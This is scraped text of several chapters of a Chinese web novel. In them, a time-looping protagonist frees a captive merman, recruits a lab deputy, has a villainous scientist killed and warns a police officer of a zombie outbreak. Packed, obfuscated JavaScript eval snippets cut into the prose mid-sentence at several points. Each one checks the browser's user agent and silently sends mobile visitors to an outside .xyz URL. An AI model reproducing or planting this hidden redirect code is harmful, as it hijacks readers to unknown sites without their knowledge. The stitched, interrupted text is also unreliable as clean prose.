l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033657|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “久闻大名?我哪里来的大名?” 青年笑了笑,并没有被他的态度给激怒,而是伸出食指摆了摆:“欸呀,可不要说没有大名。毕竟整个研究院都要因为丧尸病毒在史书上留下浓墨重彩的一笔,怎么可以说没有大名呢?” 成旭年冷着脸:“不可能,丧尸病毒绝对不会传出去,更不会在史书留笔。” 青年向身后靠了靠,手指交错抵住下巴:“2336号实验品,不知道您有没有所耳闻呢?” 成旭年:“我不知道你在……” 他猛得一顿,想到了什么,瞳孔睁大,呼吸都变得急促起来:“你、你是说?” “嗯哼,你封锁研究所,开启爆炸程序根本没有意义。”青年仍旧笑眯眯的,就好像根本不知道自己在说什么恐怖的话,“病毒早就传出去了。” 他摊开手,每一个字都像在成旭年心头敲重锤:“你并没有成为阻隔病毒的英雄,相反,你抱着自我牺牲的念头,清理掉的却是所有和病毒有关的资料,以及……制造克制病毒药剂的机会。” “啊啊啊啊。”房间内爆发出尖叫。 成旭年抓住自己的头发,声声几乎都在啼血:“不可能、不可能!!!不对,不是这样的!” “你从哪里知道的,我没告诉任何人爆炸程序,你哪里知道的这样多的事情?不可能、不可能,你在骗我!” “啊啊啊啊啊!”泪水从他眼中流出,很快将整张脸都沁染得不成样子。 泪痣青年却无动于衷的样子,仍旧缓缓叙述着刀子般锋利的语言:“我猜你从一开始就是一把锁,一把放在王所长身边的锁。你们彼此对于你的作用都心知肚明。所以王所长才故意让你有机会做出这样的决定。因为你的举动不会真的把恶魔关进笼子里面,反而会帮忙添上一把火。” “啧啧。”青年拍了拍手掌,感叹:“你被利用了呢。” 成旭年却突然抬起头,看了一眼青年身后的人鱼,冷静了下来:“你是来嘲笑我的。不、你专门往这即将爆炸的研究所里来,恐怕不是专门来嘲笑我的吧?我自认没有这样的分量,与你也没有这样的仇怨。” 青年笑了:“和聪明人说话就是令人开心。” “我们来做一个交易吧。”他说,“你将病毒有关的所有资料给我,我将资料带出去,研制出相应的药物。怎么样?” 成旭年却并不相信他:“我不相信你会这样好心,这又对你有什么好处?” “诶诶,这可就是偏见了。”青年反驳,“我只是看姓王的不顺眼,准备做个热心群众呢。” 见王旭年明显不信的表情,青年毫不着急:“不好意思呢,您可没什么讨价还价的机会。” 成旭年的脸僵住了。 青年起身活动活动身体,转身似乎要走:“好不容易想做做好事呢,你不答应算了。反正这一次最大的收获我已经有了。” “等、等等!我答应你!” 14. 离开研究所 成旭年看到面前的青年转身一下就急了,赶紧阻拦,他是相信青年真的会走的,毕竟自己其实也没办法给对方带来太多利益。 而且对方太神秘了,那些他知道的、不知道的事情统统被对方戳开,这让他都懵了。 不过…… “已经来不及了。”成旭年说,“研究所的自毁程序一旦开始,就没有办法在终止,我也没有办法。想要将病毒有关的资料交给你们,现有的时间根本不够拷出来的。” 成旭年也有些紧张,毕竟他害怕对方认为他在讨价还价,但是这其实就是事实:“我和你们走。” “你之前说的没错,我是一把锁,那些以我的权限可以拷走的资料大都存在了这里。”他指了指自己的头,“这是最珍贵的财富。除此之外,我自己也保存了一些东西在U盘里面,这个给你。” 成旭年将一只U盘递给萧宁。 萧宁看看这只浅蓝色的U盘,最终答应了他的要求。 收好U盘之后,他绽开大大的笑容:“以后请多指教啦,我是萧宁。” “我是成旭年。” 带走成旭年是极大的进展,萧宁很满意。和成旭年的交谈虽然并不长,但是信息量超标,其中有很多都是他根据这几次重开得来的信息推出来的假设,是有一定可能是错误的,但是所幸完全正确。 在未验证的情况,直接这么说,当然是很大胆的举动。但是之前在人鱼身上,萧宁已经用掉了不少的时间,那么在成旭年身上,他使用的时间当然越少越好,不然很有可能就不再有机会在原本的时间点抓到王所长。 所以萧宁根本就没有扮演一个好好青年来取得成旭年的帮助。人是很奇怪的生物,一个好人过来做好事你经常会怀疑他的动机,但是一个混邪乐子人随心所欲,你反而更觉得是得之不易、失不再来的机会。 于是萧宁成功得到了这个研究所里面除了王所长最了解病毒的人。 他非常满意。 殊不知,成旭年也在跟着他走出来的时候,心情非常复杂。发现自己被王所长利用是原因,但也有很多是因为眼前的这个神秘莫测的人。 不管是他的计划,还是王所长的计划竟然在这个人面前都是近乎透明的。 他究竟是什么人?他究竟知道多少秘密? 这样一个人立场不明,亦敌亦友,多少让成旭年有些焦躁。但是他又不免有些庆幸,正是这个人的出现,让他还有机会弥补他的错误。 没错,他是为了研究所工作,也一直在跟进人鱼的研究工作。 他并不是一个纯白的人,他为了高薪被聘用到研究所做了副所长,在一起推进研究工作的同时,也负责盯着王所长。 因为他们负责的内容,是通过研究人鱼,而得到和它一样超强的身体素质以及长寿基因。 长寿……两百岁那样的长寿和非人的强壮身体是许多有钱人梦寐以求的东西,所以他们投入大量的金钱来研究所进行研究。但是他们同样也对王所长保持着怀疑,怀疑这个科研疯子是不是真的为他们工作,还是会骗经费。 于是成旭年也进入了这个研究实验中来。 只是他负责的是第二研究组,而且王所长确实是个天才,他的科研进度要比成旭年快得多。 于是成旭年的实际工作慢慢的就变成了和投资方一起看研究成果是否有糊弄他们,以及王礼坚有没有什么异动。 毕竟,王礼坚可是这些投资人从监狱里面捞出来的科学疯子,他们同样怕这锋利的刀刃割了他们自己的手。 但最终,王礼坚还是瞒天过海,制造出来这样可怕的病毒。成旭年在知道传染性的第一时间脑子一懵,他知道那代表着什么,那代表着无数人的死亡,并且那无数人极有可能包含着他自己和他珍视的亲友。 为了控制病毒的传播,他完全顾及不了自己也会死在这里,而是里面启动了应激自毁程序,在最后一条短信发出去之后,默默地等待死亡奖励。 却没有想到这也是王礼坚计划的一步。 他完全没有想到,原来王礼坚早就将病毒传播了出去,却还在他面前装作一副刚刚被抓到的样子,甚至还在他启动程序的时候来和他吵架,一副即将发疯的样子…… 真是好演技啊…… 成旭年闭了闭眼,只能一遍遍安慰自己,起码他还有弥补自己过错的机会,他还有能让妻儿活下去的机会。 总比他自以为是的走向死亡要好得多。 于是成旭年和人鱼就跟着萧宁走。 他们走到了那个熟悉的玻璃办公室的时候,萧宁停了下来,对人鱼说:“是实现我们赌约的时候了。” 成旭年一头雾水,萧宁小声和他说了几句话,成旭年看看他,表情惊疑不定。 萧宁点头:“你就按我说的做。” 成旭年有些犹豫,但是最后还是答应了他,两个人暂时分开了。 萧宁看了看时间,把人鱼拉到那间小办公室,告诉他王所长等下会出现在走廊,但是他先不要动,因为走廊容易逃跑,他不一定能够抓到王所长,要等到对方出现在小办公室再动手。 人鱼在听到王所长的名字的时候,就眼神杀气四溢,即使萧宁说明了会发生的事情,他仍然停顿了片刻,这才缓缓点点头,走进了小办公室。 接着萧宁准备重复之前那次贴透明胶偷偷观察,再去到小办公室的举动。 但变故发生了,在王所长出现在走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033658|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廊,并开木仓击杀叫住他的人的时候,人鱼没有安静留在小办公室,而是冲了出来。 本来坚固的玻璃只是片刻就在菲力克斯掌下碎掉,萧宁只来得及找了个工作台躲到后面,免得过会儿被王所长一木仓带走。 他探出头,就看到历史重演—— 王所长仍然进行了变态发言,把人鱼禁锢在原地,然后快步离开。 于是萧宁直接去搬过来饮水机的水桶,往人鱼身上狠劲倒,过了好一会儿,人鱼才恢复行动能力。 他低着头,爪子死死地嵌进了地面,眼睛通红,牙咬得紧紧的。 他自己……他自己毁了自己报仇的机会!!! 菲利克斯呼吸急促,胸口阵阵发痛。不用抬头,他也知道那个神秘而奇怪的人类会是什么表情。 总归不过是恨铁不成钢,还有那种我早说吧之类的神情吧。 原本裂开的皮肤在水的滋养下加速愈合,会带来一种酥酥麻麻如同蚂蚁啃咬一般的难受的感觉,但是菲利克斯就好像完全感受不到一样。 他觉得很难受。 难受得就好像要死掉一样。 在看到那个最该死的人类的时候,他根本没办法忍耐,哪怕只是一刻。更何况,会到小办公室的预测不一定会发生,但当时那个人却是真真切切的出现在了他的面前。 所以,他冲了出去。 然后失去了珍贵的机会。 他感觉口腔里面似乎都是血腥的味道…… 眼睛好湿润,可是他明明就算被电击、被活生生割下一片片血肉,也不曾哭过的。他曾以此为傲。 可是太难受了…… 有什么拽住了他的胳膊。 是那个人类。 他抬起头。 萧宁看到他万念俱灰的表情,有些惊讶:“快走吧,你难道不想要自由吗?” 可是抓不到仇人,自由似乎也没有那么美好了。 菲利克斯深吸一口气,还是重新用鱼尾支撑,立了起来。 确实,他还要自由,他要回到无边无际的大海,他要去呼吸新鲜的空气。 菲利克斯强打精神,跟着萧宁一路走,穿过密道,然后在出口冒出了头。 他刚刚出来,鱼尾才蹭上野草就呆住了。 他几乎不能相信自己的眼睛,呼吸急促,好像再确定什么似的反复回头,然后将目光钉死在正前方—— 那里躺着一个熟悉的人。 一个他以为已经跑掉的人。 成旭年也握着折叠棒难以置信地看着他的身后那人。 萧宁毫无被人瞩目的自觉,笑眯眯地说:“Surprise!” “惊不惊喜,意不意外?” 15. 再次相遇 菲利克斯的大脑一片空白。 他隐隐认为萧宁对他是抱有善意的,但是他平等地不信任所有的人类,比起一个刚刚认识的人,一个有着脆弱赌约的人类,他更信任自己。 正是这种不信任让他看到那个被放倒的人时候才更加惊讶。 这世界上是否真的存在先知先觉的人呢? 就算真的有,又为什么要帮他呢? 明明应该将所有的目光都停留在仇恨已久的人身上,可是菲利克斯却总是不自觉地将思维飘到那个笑眯眯的人类身上。 也不只是他,另外一个人类似乎也是如此,而且好像表情更加夸张。 菲利克斯诡异地觉得自己得到了心理安慰。 萧宁也很满意。 老登,抓到你了吧! 萧宁对于上一周目里面丧尸两次聚集发动暴乱耿耿于怀,并且严重怀疑就是面前这个老登组织的。这次说什么他都得先把他给干掉,不然后面按照他这狡兔三窟的习惯,真就很难抓住了。 所以,他提前就叫成旭年到外面守着。鉴于成旭年都愿意蹲研究所里面等死,他对于成旭年针对王礼坚的仇恨值是丝毫不怀疑的。 萧宁是没想到人鱼会突然冲出去,但是鉴于王所长之前掏出来的药剂,他是认为这是一个对自己的被人鱼仇恨程度有着相当清晰认知的人,他身上很有可能藏着不仅限于一种针对人鱼的药剂可以自保。 他们针对他的突然袭击并不一定有效。 说到底,王所长才是真正的地头蛇。 所以萧宁才把第二重保障放在了逃生出口,不给他可以发挥的空间。 不然他在研究所里面和个兔子一样打了一堆洞,他们一跟丢就真的是找不到人了。 反派死于话多,动手绝不犹豫,补刀更要快准狠! 人鱼第一个反应过来冲上去就要解决这个仇人,但是正在此时爆炸发生,随着蘑菇云出现,地动山摇,几个都有些站立不稳。 待到那阵最强烈的冲击过去,人鱼的爪子都抵在了王礼坚的胸口了,却又动弹不得。 果然有后手。 真是老狐狸一只。 萧宁因为通道狭小,和成旭年一样,都只带了一只折叠棒,此时正在犹豫要不要把王礼坚脑袋砸烂,但是想想那个画面还是想吐。 而且按照他一直以来的认知,在这样一个相当真实的游戏环境里面干掉一个活人,他还是很难下手。 犹豫直接,成旭年直接做了他正在考虑的事情。 啊这。 萧宁诧异抬头,成旭年却显得相当冷静:“对这种人不能手软。” 成旭年是真的怕王礼坚醒过来,拿出什么重量级筹码把萧宁给打动了,那才是真的糟糕了。 萧宁都没想到对方是真的把他是混乱立场这件事记得这么深刻,还以为是怕他心慈手软。不过阴差阳错,倒是便利了他。 只是…… 这次倒没有围上来的丧尸,就是他扭头的时候正对上了一双相当熟悉的明亮眼睛。 而且,看他们几个的眼神就好像看什么待逮捕分子。 嗯…… 萧宁扭头,看了一下那团因为成旭年下手太狠,堪称马赛克的东西,觉得他很理解安警官的心情,因为他也觉得自己现在看起来像个恐怖分子。 他冲安警官笑了一下,想安抚对方紧绷的心情,却看到对方更紧张了。 …… 是哦。 杀人犯冲你微笑,是什么恐怖片场景? 萧宁僵住了。 不要啊,他还不想这么快被划入反派阵营啊! 虽然他是长得很反派没错啦。 最后安警官还是被他们叫住了。 萧宁的方式非常朴实无华,只是远远地说:“编号:38897218006,深海市公安局明珠区分局刑警支队第一大队支队长安雪警官,我们并无恶意。” 这串熟悉的编号一下就让安雪顿住了脚步,几乎是不敢置信地望向了萧宁。 成旭年:不是吧sir,这你都知道? 安雪警惕:“你是谁?”编号这种东西是能猜中的吗? 萧宁摊手:“只是热心的朝阳群众而已。” 不好意思,他记性有点好。 萧宁:“请安警官不要误会,我们不是什么坏人。” 安雪默默地看了一眼还在成旭年手里面的染血折叠棒。 萧宁:…… 呸,老登罪有应得。 萧宁无视安雪的眼神:“比起一些小小误会,您还是尽快把注意力放在大事情上面比较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033659|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合适吧。”他觉得自己扮演混乱立场人物真的是越来越得心应手了。 “你这是什么意思?”安雪拧眉。 “比如一场席卷全球的灾难。” 好吧,他觉得安雪现在看他的眼神就好像在看说“我是秦始皇”的傻叉。 “你觉得我在开玩笑?”萧宁也不着急,“无所谓,你如果一定要将我对你做出的预警当成玩笑,也无所谓。” 他垂下眸,声音无悲无喜:“毕竟,这个世界死多少人,其实都和我没有什么关系。”说到底,这是一个游戏。 只是他还想要劝告一下而已。 他感觉自己都摸透了——好声好气的说别人会觉得你是骗子,是疯子,无所谓的抛出信息反而会引起别人的将信将疑,既会怀疑,但又不会完全抛之脑后。 就像现在,安雪的表情就变得复杂了起来,但还是听了进去。 “你是什么意思?”安雪道。 萧宁伸出手。 安雪:? 萧宁:“麻烦安警官把手机借我一下。” 安雪犹豫了一下,还是将手机递给了对方。 等到萧宁将手机还回的时候,安雪发现自己的大眼账号上多出了一条发出的记录—— “警告:丧尸病毒即将席卷全球,请所有居民注意人身安全,并记住以下几点: 第一:丧尸病毒会通过伤口传播,如果您的亲人朋友被咬伤,请不要犹豫,立刻将他隔离开,不然下一个被咬的就是你。 第二:感染丧尸病毒之后,会出现高烧症状,被感染者会逐渐失去意识变成啃食血肉的怪物,请注意身边发烧的人。 第三:丧尸的特性是怕火不怕水,必要的时候请合理使用火焰驱逐逼近的丧尸。 最后,希望每个人都能活下来。啾咪。” 看起来荒唐的就像一个玩笑,但是明白最近发生的异变的安雪却已经开始觉得后背发凉。她的大眼账号下已经出现了很多嘲弄尖锐的声音,充溢着的全部都是不信任的气息,但是她却已经没有精神再去理会了。 萧宁却没有再理会她的反应,而是伸出两根手指从额头划过,比了一个俏皮的敬礼姿势:“告辞。” 安雪却不准备就这么放他们离开:“等等,你是谁?这究竟是怎么回事?” 16. 同路 开玩笑,萧宁当然还是要和安雪一起去村子里面的,危险的七十二小时还没有过,去走原本走过的路线会更加安全,但是事情不是这么算的。 首先,他必须得先安抚好人鱼。这个大杀器在这里,不把他当回事真的是嫌自己命长。萧宁可不会自大到认为自己帮助他解决了王所长,从此在对方眼里面就有了什么与众不同的地位了,更何况他其实也不是为了人鱼——这么个大反派,不抓紧机会干掉不是脑子进水嘛。 其次,你说告诉你,我就告诉你,那不就ooc了吗? 萧宁可没准备这么快绷人设,对根本就还没有摸清这个世界的全部,而且还没有得到第一个存档点的他,越神秘越安全。因为聪明人总是会想很多,想得越多,就越不敢早动手,就能够为他争取时间。 要知道,被当成可疑分子抓起来,和被当作可疑分子供起来,可完全是两回事。 因此,他毫不在意安雪的疑问:“嗯哼?大警官,我可不是你手下的警员,没有你问什么就答什么的义务呢。” 安雪沉吟片刻,认为以对方飘忽不定的立场,或许并非纯白的身份,用利益打动或许才能正对对方的胃口。她其实也对对方的身份有很多疑惑和猜想,对方的记忆力超强,并且信息覆盖面似乎相当的大,这种结合通常会出现在一个组织人员,而并非个人身上。也因此,对对方的处理要更加慎重才可以。 “您既然来研究所,一定是为了取得什么,达到什么目的吧?”安雪道,“我没有冒犯您的意思,只是或许,我能帮你。” 她相信既然刚刚萧宁拿了她的手机发出那条警告,那就是有商量的余地的。 萧宁当然有想要做的事情。 他现在手上的U盘有丧尸病毒的部分资料,监督实验发展的成副所长也在他身边,那么在获得存档点之后他要迅速推进的事情,就是研制出病毒相应的药物来终止丧尸病毒的传播。而这一研究,必定要一个研究设施完备,材料充足的地方来做支撑。 最优的选择就是让他进入一间后续仍旧被支持研究的国家实验室。 但是他并不清楚这个游戏的国家设置、政治结构和研究所分布情况,一说就得露馅。 所以,他换了个方式来回答安雪的问题:“你确定自己有这么回答的资格吗?要知道,你所暂住的村子,在这几天里面,马上就要变成人间地狱了。” 萧宁语调向上,似乎带着一点点嘲讽意味。 安雪却从这话里获得了一个信息——他确实想要达成协作。只是除此之外,这句话里面的含义让她悚然一惊,村子竟然会发生很可怕的事情沦为炼狱? 这个人说的究竟是真的,还是诈她的?安雪一时间不知道该不该相信。 成旭年却盯着萧宁。他虽然四十岁了,也是看小说的! 如果他没有被萧宁戳破所有想法,没有看萧宁完全预判了王院长的行踪,没有看他连偶然遇见的一个人都知道身份,那他大概也觉得萧宁身后有着非常非常庞大的一张信息网,大到了恐怖的那种程度。 可是,他现在看着萧宁和安雪进行对话,看他说对方所在的村子将沦为炼狱,他就忍不住想,对方要么是见微知著的天才……要么,或者这个世界真的存在异能?比如先知。 成旭年呆在角落,没有人注意他的思维正在一跑三千里。 安雪思考许久,然后道:“国家一级研究院的一个研究课题小组,怎么样?”安雪认为,对方到研究员拿资料极大可能是要进行什么研究的,但是国内管控严格,在这种可能下,就算萧宁背后的小组有开展什么研究必定也是处处不便的。这个时候,提出用国家一级研究院的资源和人员提供支持的话就会比较有吸引力了。 当然,对方进行的实验也可能不是什么好实验,但是到了他们的地方,就一切都好说了。 安雪相信,身前这个青年如果说得都是真的,上级绝对会同意他们的交易,而且还会很乐意。 安雪这个提议正好搔到了萧宁的痒处,正是他所需要的。 但萧宁并没有立马答应,而是假装思考了一会儿,似乎在权衡她给出的这块蛋糕足不足够诱人。 然后才说:“成交。成所长可以告诉你一切,对吧?” 成旭年本来魂飞天外,硬是被拉了回来,跟着安雪去一边交流了。 眼见着三天后的游戏路线有了基本的着落,萧宁却并没有放松心神,相反,他现在的神经极其紧绷。 因为,他得想办法把人鱼留在身边。 虽然他其实是完全实现了约定,既帮忙干掉了王所长,也带人鱼离开了研究所,没有死在爆炸里面。但是对方既然是非人类,其实也不能完全用人类的道德观来预测和约束他。 爆炸此时已经完全平息了,风吹过草地发出沙沙声,萧宁站在菲利克斯身边,顺着对方的眼神看去,原本明亮高大的研究所已经化为了一片废墟。 原本关着菲利克斯两年之久的建筑几乎只是过去了一瞬间,就已经变得面目全非,找不到过去的样子了。 菲利克斯站在那里,就好像做了一场猛然醒来的梦。 而将他从梦中带出来的人就站在他的身边,如果没有这场相遇,他会和整个梦境一起崩塌,变成废墟中的一个部分。 或许还会痛苦地咒骂该死的命运,让他有了杀掉深恨之人的机会,却又让他失败,再眼睁睁的看着报仇的机会永远都不会再有的死去…… 光是想想,菲利克斯就闭上了眼睛。 所以,不管那个突然冒出来的人类立场如何,想要做什么,都必须承认一件事情,是他欠了对方的。 菲利克斯静静地站着,享受着暗无天日的生活绝不会接触到风和草叶轻轻擦过鱼尾的感觉。 太阳已经要落下,但落日的余晖仍旧落在了他身上,带给了他一种暖洋洋的感觉。 他好像终于有了一种真实感。 他真的离开了。 该死的人都死了。 原本束缚他的地方也已成为废墟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033660|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他好像又很迷茫。 当他所索求的一切都以一种突兀到猝不及防的方式完成了,他竟然有些无措。 他要去哪里呢? 去大海吗?但那里已经没有亲人了,他或许会再看看曾经生活的地方,可是他很清楚,那里已经不再有人鱼了。他大概是这世间最后一个人鱼,他的同族都已经因为扛不住污染患上了各种疾病死去,只有他虽然产生了某些异变,比如这黑漆漆的用以捕猎的指甲,却仍旧活了下来。 孤零零的活了下来。 他仍旧想念大海。 想要就想要流泪的想念。 他仍旧仇恨人类,不仅仅是因为那些将他作为毫无尊严的刀俎鱼肉的研究,也因为他们带来的污染。 可是他又明白,他无法报复全人类。因为那之中,也有帮助他们的人。 人如此复杂。 有人带来污染,有人竭力阻止,有人送搁浅的鱼回家,有人仅仅为了美丽而猎杀。 他想杀掉人类,即使同族也曾与他叙述被人类帮助的故事,可他嗤之以鼻,可如今,被帮助的人变成了他。 好麻烦。 想扭断人类的脖子。 菲利克斯想要把头埋进冰冷温柔的水中,就好像婴儿回到了母亲的怀抱。他如此烦恼,为什么人类没办法简单分清?他们好像总是带着层层的伪装,如果每个人头上都顶着标签就好了,这样他就把所有的污染了他的家园的人都杀掉,没有做过污染的留着,给帮助过他们一族的人送上沉船的财宝——他记得人类好像很喜欢这个,就都解决了。 可是不行。 菲利克斯烦的想吐泡泡。 “是在想怎么回大海吗?”他突然听到那个人类说。 菲利克斯没作声。 萧宁刚刚拿了成旭年的手机趁现在信号还没有中断,查了一下,他们现在所在的地方是深海市金沙区,与安警官所工作的明珠区其实并不相邻,中间还隔着一个和平区。而且明珠区确实有一个国家一级研究院,除此之外,明珠区隔着一个天鹅区就是大海。 人鱼现在在陆地上,未必清楚路线,那他们同路会是一个很不错的说法。 “要一起吗?”夕阳将萧宁的银白头发都好像染成了金色,他歪头询问。 菲利克斯目光落在被金红色笼罩的奇怪人类身上,对方的眼睛亮闪闪的,不知道是不是因为此时色调的原因,显得出奇的温柔。 他想问很多,比如为什么要帮他解决王所长,比如为什么要带他出来,比如他们之前见过吗? 但是他最终什么都没说,只是点点头。 同路很好,如果对方遇到什么危险,他就可以把他帮过的事情还回去,这样他们就互不相欠了。 如果他以后发现这个人类其实做过什么伤害过他和同族的事情,或者一直都想要利用他,就可以干脆利索地扭断对方的脖子。 人类,这种反复无常的生物。 不能建立牢固的关系。 17. 暗藏 成旭年和安雪说清楚了研究所和丧尸病毒的关联了之后,也非常严肃申明了其传染性的可怕之处,安雪立马将他说的和上级反馈了。 基于此,两方也算初步达成了合作。 至于萧宁和人鱼这边,虽说要同路,可是萧宁并没有让人鱼直接进村,毕竟人和非人的区别那么大,这么让人鱼进了村,得直接受全村注目礼了,说是玩cospaly都不管用的那种。 有意思的是,等安雪和村长商量了一下之后,他们几个人被安排到了上一周目的无人住房。 萧宁站在这座非常大的村里自建房里面,感觉一点都不陌生,可是笑不出来。 曾经发生在这里的事情,只是看一眼那些建筑陈列好像就会浮现在眼前。 萧宁叹了一口气,找了一个有浴缸的洗手间,给人鱼放水泡尾巴。安雪中途过来看了看他们的安置情况,萧宁叫住了她。 “安警官。”萧宁靠着门框曲着一条长腿,声音懒懒散散的,“不知道你有没有听过一句话呢?” 安雪抬眼,觉得他不会无故叫住自己:“请说。” 萧宁笑了一下:“那就是问题往往是从内部产生的。”他之前想过一个问题,那就是上一周目,在已经说过王所长的事情,并且村子安排了巡逻队的情况下,是怎么让丧尸突然爆发的,而且以当时的分布情况来说,丧尸密度似乎是从村子中的某个点扩散开来的,这就是为什么钱婶子跑到那座空房之后能得到喘息之机的原因。 因为如果丧尸是从外面包围的,第一,应该很快会被巡逻队发现,然后发出警报;第二,丧尸的密度应该会从村子边缘的某个点开始扩散,而不是尖叫声最集中的是靠中心区的地方。 因此,萧宁想了一下,极有可能是某个村民感染,但是并没有当一回事,于是在半夜彻底完成转变,于是丧尸开始扩散。 “你是说村子的危机来于村子内部?”安雪反应很快,因为之前就对萧宁说的人间炼狱耿耿于怀,所以她立马把两件事情联系了起来。 “大家的利益是一致的,为什么要背叛村子?”安雪刚开始以为萧宁说的是村里有像王所长那样的人,倾向于丧尸扩散,但是很快她反应过来,“你是说有村民先感染……不对的,其实我之前就怀疑丧尸导致的创口会感染,所以一发现就说过要因丧尸而受伤的村民到集中点集中观察。” “这就是我喜欢人类的原因呀。”萧宁没有回答安雪的疑问,而是好像说了一句完全不相干的话,就转身去看鱼缸里面的人鱼了——人鱼正把整个上半身都埋在水里面,露出一条鱼尾巴搭在浴缸边缘。 萧宁:……他竟然还在吐泡泡。 萧宁:有点想捏。 其实他很喜欢鱼,他家里面就养着孔雀鱼,大大的尾巴轻轻柔柔的在水中摇曳时候特别的好看。而人鱼的鳞片此时就好像吸饱了水一样,焕发出了和之前形成鲜明对比的绚丽光泽。在完全不沾染血色和基本愈合血口之后,那美丽的鱼尾就如同无数细小的蓝紫色宝石组成的,在白炽灯的照明之下折射出富有变化的光泽。 半透明的鱼鳍更是看起来如同丝绸一般柔软,让人很想摸一摸。 萧宁要进来帮忙,主要是他觉得一条鱼,或者说一条人鱼可能不太会用人类社会的工具,为了避免他把整个浴室都变成灾难现场,所以他会进行现场教学。 看人鱼非常沉迷泡水,萧宁也没有打扰他,而是用成旭年的手机继续了解这个世界的讯息。 成旭年:有人关心我的感受吗? 这个世界有6个国家,他现在所在的是最大的国家之一X国,X国的国情和他自己的国家很相近,萧宁觉得这应该是游戏制作组基于原本世界的情况创作的原因。 他坐在小板凳上,看着看着就入了迷。 一人一人鱼安静地呆在浴室里面。 但安雪的心情却并不平静,因为她明白了萧宁的意思——有人感染了,可是并没有告诉别人,于是当转化完成,那个人就成为了一个传染源,最终导致了村子在完全没有准备的情况下遭遇了灾难。 她想到这种可能的时候,心情起伏相当大。当然是很气愤的,因为一切按照她的安排来的话,事态不会恶化到萧宁说的人间炼狱的那种程度。可是仔细想想又很无奈,因为她也知道,人是有私心的。 有可能是抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033661|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有侥幸心理,觉得也不一定会发生糟糕的后果,干嘛要自己给自己找麻烦呢?也有可能想要活命的心情超出了任何道德规范,认为如果真的感染,那么集中观察之后肯定会被第一时间干掉,但是不甘心就这样死掉,觉得还不如就自己感染了,还不一定就真的死了。 即使是她,也很难解决这些想法。 她对这些村民,说到底是没有什么管理权力的。如果有人真的偷偷隐瞒下了一切,她也难以知晓。 想到现在就有可能已经有村民偷偷瞒下了因为丧尸受伤的事情,安雪就觉得太阳穴一跳一跳地发胀发痛。 她没有把握,只能尽力让何大哥和村长居中,说明事情的严重性,让村民互相监督,及时将异常找出来、控制住。 在生命的威胁下,许多村民应当会更加关心身边人的异常行为。 安雪拿起手机,就给村长和何大哥打电话。打完电话,她抬头看天空,璀璨的星辰挂了漫天。她突然有一种冲动,去问问萧宁,究竟是谁导致了这场村子的灭顶之灾。 随即她又笑了笑,她这真的是不知不觉把对方当成什么万事通了吗?怎么可能呢?时间万事万物都知道明晰的话,那还是人吗? 那是神吧。 更何况…… 总感觉就算他知道,也不会回答她的。感觉更可能会笑眯眯地看好戏。安雪想到这有些失笑和无奈。 她此时正站在萧宁他们休息的那栋房子的门口,犹豫了一下,终究没有回到萧宁他们所在的房间。 应该可以找到的。村民之间都互相那样了解,如果谁发起了高烧,应当都非常明显,藏不住的。 可是到了第二天中午,仍旧没有任何异常信息传来。 每一个没有消息的小时里面,安雪都感觉度日如年,她一方面告诉自己,萧宁也不一定就是对的,另一方面,她又忍不住怀疑,那个糟糕的时间就是今天。 于是在这种反复拉扯下,安雪又去找了萧宁,她踌躇着,不知道能拿出什么筹码,就听到正在吃村民送来的午餐的萧宁看着她,很惊讶似的:“你还能坐的住吗?” “今天晚上就要有暴乱了呢。” 18. 关键 看到安雪,其实萧宁也有些惊讶,但是他很快反应过来,应该是对方并没有排出那个引发问题的引线究竟在哪。这件事情是让他有些惊讶的,要说其他事情村民之间互相包庇就算了,这危及生命的事情,应该不会发现问题仍旧隐瞒才对啊…… 而听到他那句话的安雪如遭当头棒喝,立即道:“萧先生,不知道您知不知道……” 